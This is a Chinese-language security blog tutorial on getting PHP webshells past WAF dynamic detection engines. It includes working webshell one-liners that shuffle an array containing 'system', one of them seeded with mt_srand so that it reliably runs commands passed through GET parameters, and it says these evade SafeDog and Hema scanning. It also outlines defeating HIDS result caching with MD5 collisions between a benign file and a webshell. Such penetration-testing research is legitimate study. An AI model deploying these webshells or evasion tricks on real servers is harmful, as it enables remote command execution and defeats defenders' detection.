【网络安全】Webshell的绕过——绕过动态检测引擎WAF-缓存绕过(Hash碰撞)
目录
一、前言
二、环境
三、了解动态检测引擎
3.1 shuffle — 打乱数组
3.2 mt_srand — 播下一个更好的随机数发生器种子
四、缓存导致的绕过【hash碰撞】
五、总结
一、前言
在渗透测试过程中,成功获取 WebShell 时难免遇到 Web 应用防火墙(WAF)的拦截。今天就来研究一下 WAF 的核心防护机制之一动态检测引擎的工作原理及对应的缓存绕过技术。
二、环境
Ubuntu 20.04.6 + Windows10 + 安全狗 + 河马查杀
三、了解动态检测引擎
首先需要了解一下查杀引擎,查杀引擎一般分为两种,一个是静态的,另一个是动态的。对于静态引擎的绕过,可以通过拆分关键词、 加入能够引发解析干扰的畸形字符等;而对于动态引擎,需要分析它跟踪了哪些输入点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则。动态检测引擎是可以通过打断污点追踪从而绕过 waf 。接下来对师傅们分享的某比赛中绕过动态检测引擎的 webshell 样本进行分析。感受一下 webshell 经过变形绕过 waf 的案例。
3.1 shuffle — 打乱数组
很简单的一个webshell,绕过原理是通过 shuffle 函数打乱只有两个元素的数组。有可能shuffle 函数被当作了清洗函数,从而打断了污点追踪。
<?php
$a = array("t", "system");shuffle($a);$a[0]($_GET[1]);
可以看到已经执行了系统命令,并且绕过了安全狗和河马查杀。但是这个样本不能够稳定触发。下面来看一下大佬升级后的样本。
3.2 mt_srand — 播下一个更好的随机数发生器种子
mt_srand 函数:播下一个更好的随机数发生器种子。我们通过打印调试来看一下这个函数具体是怎么利用的。
<?php$seed = '123';
mt_srand($seed);
$arr = array('t','system','vvx','789');
shuffle($arr);
print_r($arr);
多刷新几次发现我们的数组被定下了,没有进行随机排序了。那就意味着定义好种子后就能够稳定触发了。
看一下升级后的 webshell 如何利用。mt_srand($_GET[0]) 应该传什么值,通过打印调试后传参$_GET[0]需要传参11111 ,$_GET[1]传参执行的命令即可执行任意命令。
<?php$arr = array("t", "index", "web", "system");function shift(&$arr){mt_srand($_GET[0]);shuffle($arr);}shift($arr);$arr[2]($_GET[1]);
四、缓存导致的绕过【hash碰撞】
在基于C/S架构部署的大规模HIDS集群中,在检测Web文件过程首先需要 根据后缀采集文件然后进入到分拣器,通过 webshell检测引擎 产生的分析结果上报至 Master 节点 进行汇聚、关联分析及最终裁决,之后将最终结果 持久化存储 入库。如果已经检测过的文件,缓存检测结果,下次不再检测。
什么是IDS(入侵检测系统):IDS 是“入侵检测系统”的缩写,是指旨在检测未授权访问内部网络的迹象并通知管理员的硬件或软件。
根据实现方式,IDS 可分为以下两种类型:
- 基于主机的入侵检测系统 (HIDS): HIDS 作为软件安装在受保护的计算机上,通过监控操作系统日志等日志来检测入侵。
- 基于网络的入侵检测系统 (NIDS): NIDS 作为受保护计算机网络段中的专用设备进行部署,可监控网络流量中是否存在未经授权的活动。 NIDS 通常更适合有效监控整个内部网络。
那么如果分拣器发现一个文件以前已经检测过,就可以直接把结果返回给 master节点。我们想绕过这里的判断,思路就是:把一个恶意文件,缓存成一个正常文件。
如果我们创建两个文件一个 .js 和 .php 内容相同,文件名相同。会是怎么样的?
当在Java中写php的恶意语句会被报毒吗?显然不会,因为根本执行不了。但是会缓存进去,缓存的是 MD5 值。那如果我在写一个文件是 web.php 两个文件的 MD5 值是一样的呢?是不是就会放行了?
如果两个文件的 MD5 值相同应该怎么办?我们来看一下这两个文件的 MD5 值是什么。
发现 MD5 值是一样的,因为 MD5 值检测的是name,那么这个是有办法进行绕过的。当我们利用哈希碰撞。既然缓存key会包含文件名和文件hash,那么我们只需要生成一个正常文件和 一个webshell,两个文件的hash完全相同,再让他们文件名相同,这样就可以命中同一个缓存了。那么如何生成两个hash相同的文件?
GitHub - corkami/collisions: Hash collisions and exploitations
如果构造一个恶意的.php文件和一个正常的.php文件。但是它们的hash值一样就能够实现绕过。当使用hash碰撞的方法就能够实现两个不同文件 MD5 值相同。(因电脑配置原因,需要跑出来的时间太久,看一下大佬跑出来的最终结果)
五、总结
本章学习了查杀引擎的原理,了解到了动态和静态的检测流程,动态引擎通过用户的输入源进行不断的追踪,直到经过清洗函数或者报错就能够打断污点追踪。或者是经过了清洗函数从而绕过waf。还有在HIDS中,一个Web文件的整个数据轮转过程中,可能会出现HIDS的薄弱点,今天通过缓存思路来绕过了webshell检测引擎。